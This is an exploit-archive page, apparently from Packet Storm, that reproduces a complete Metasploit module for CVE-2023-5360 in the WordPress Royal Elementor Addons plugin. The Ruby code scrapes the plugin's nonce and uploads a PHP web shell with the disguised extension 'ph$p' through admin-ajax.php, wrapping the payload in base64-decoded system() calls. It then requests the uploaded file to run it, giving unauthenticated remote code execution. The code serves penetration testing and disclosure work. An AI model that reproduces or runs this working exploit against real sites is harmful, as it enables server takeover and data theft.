exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Royal Elementor Addons And Templates Remote Shell Upload

WordPress Royal Elementor Addons And Templates Remote Shell Upload
Posted Nov 29, 2023
Authored by Valentin Lobstein, Fioravante Souza | Site metasploit.com

WordPress Royal Elementor Addons and Templates plugin versions prior to 1.3.79 suffer from a remote shell upload vulnerability.

tags | exploit, remote, shell
advisories | CVE-2023-5360
SHA-256 | 514871b05ceb1ed65e97c420f4e9a96957ce2443102fd59ba2de86664048ea50

WordPress Royal Elementor Addons And Templates Remote Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Royal Elementor Addons RCE',
'Description' => %q{
Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79).
},
'Author' => [
'Fioravante Souza', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-5360'],
['URL', 'https://vulners.com/nuclei/NUCLEI:CVE-2023-5360'],
['WPVDB', '281518ff-7816-4007-b712-63aed7828b34']
],
'Platform' => ['unix', 'linux', 'win', 'php'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2023-11-23',
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end

def check
return CheckCode::Unknown unless wordpress_and_online?

wp_version = wordpress_version
print_status("WordPress Version: #{wp_version}") if wp_version

check_code = check_plugin_version_from_readme('royal-elementor-addons', '1.3.79')

if check_code.code != 'appears'
return CheckCode::Safe
end

plugin_version = check_code.details[:version]
print_good("Detected Royal Elementor Addons version: #{plugin_version}")
return CheckCode::Appears
end

def exploit
print_status('Attempting to retrieve nonce...')
nonce = retrieve_nonce

print_status('Sending payload')
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')

data = {
'action' => 'wpr_addons_upload_file',
'max_file_size' => rand(10001),
'allowed_file_types' => 'ph$p',
'triggering_event' => 'click',
'wpr_addons_nonce' => nonce
}

file_content = '<?php '
file_content << (payload_instance.arch.include?(ARCH_PHP) ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));")
file_content << '?>'

file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.ph$p"

post_data = Rex::MIME::Message.new
post_data.add_part(file_content, 'application/octet-stream', nil, "form-data; name=\"uploaded_file\"; filename=\"#{file_name}\"")
data.each_pair do |key, value|
post_data.add_part(value.to_s, nil, nil, "form-data; name=\"#{key}\"")
end

res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})

unless res
fail_with(Failure::Unreachable, 'No response received from the target')
end

if res.code == 200 && res.body.include?('success')
print_good('Payload uploaded successfully')
response_data = JSON.parse(res.body)
if response_data.key?('data') && response_data['data'].key?('url')
file_url = response_data['data']['url']
print_status('Triggering the payload')
send_request_cgi({
'uri' => file_url,
'method' => 'GET'
})

else
fail_with(Failure::UnexpectedReply, 'Payload uploaded but no URL returned in the response')
end
else
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end
end

def retrieve_nonce
res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET')

fail_with(Failure::Unreachable, 'No response received from the target') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code from the target: #{res.code}") if res.code != 200

match = res.body.match(/var\s+WprConfig\s*=\s*({.+?});/)
fail_with(Failure::NoTarget, 'Nonce not found in the response. Is Royal Elementor Addons activated AND being used by the WordPress site being targeted?') if match.nil? || match[1].nil?

nonce = JSON.parse(match[1])['nonce']
fail_with(Failure::NoTarget, 'Parsed a response, but the nonce value is missing') if nonce.nil?

print_good("Nonce found in response: #{nonce.inspect}")
nonce
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close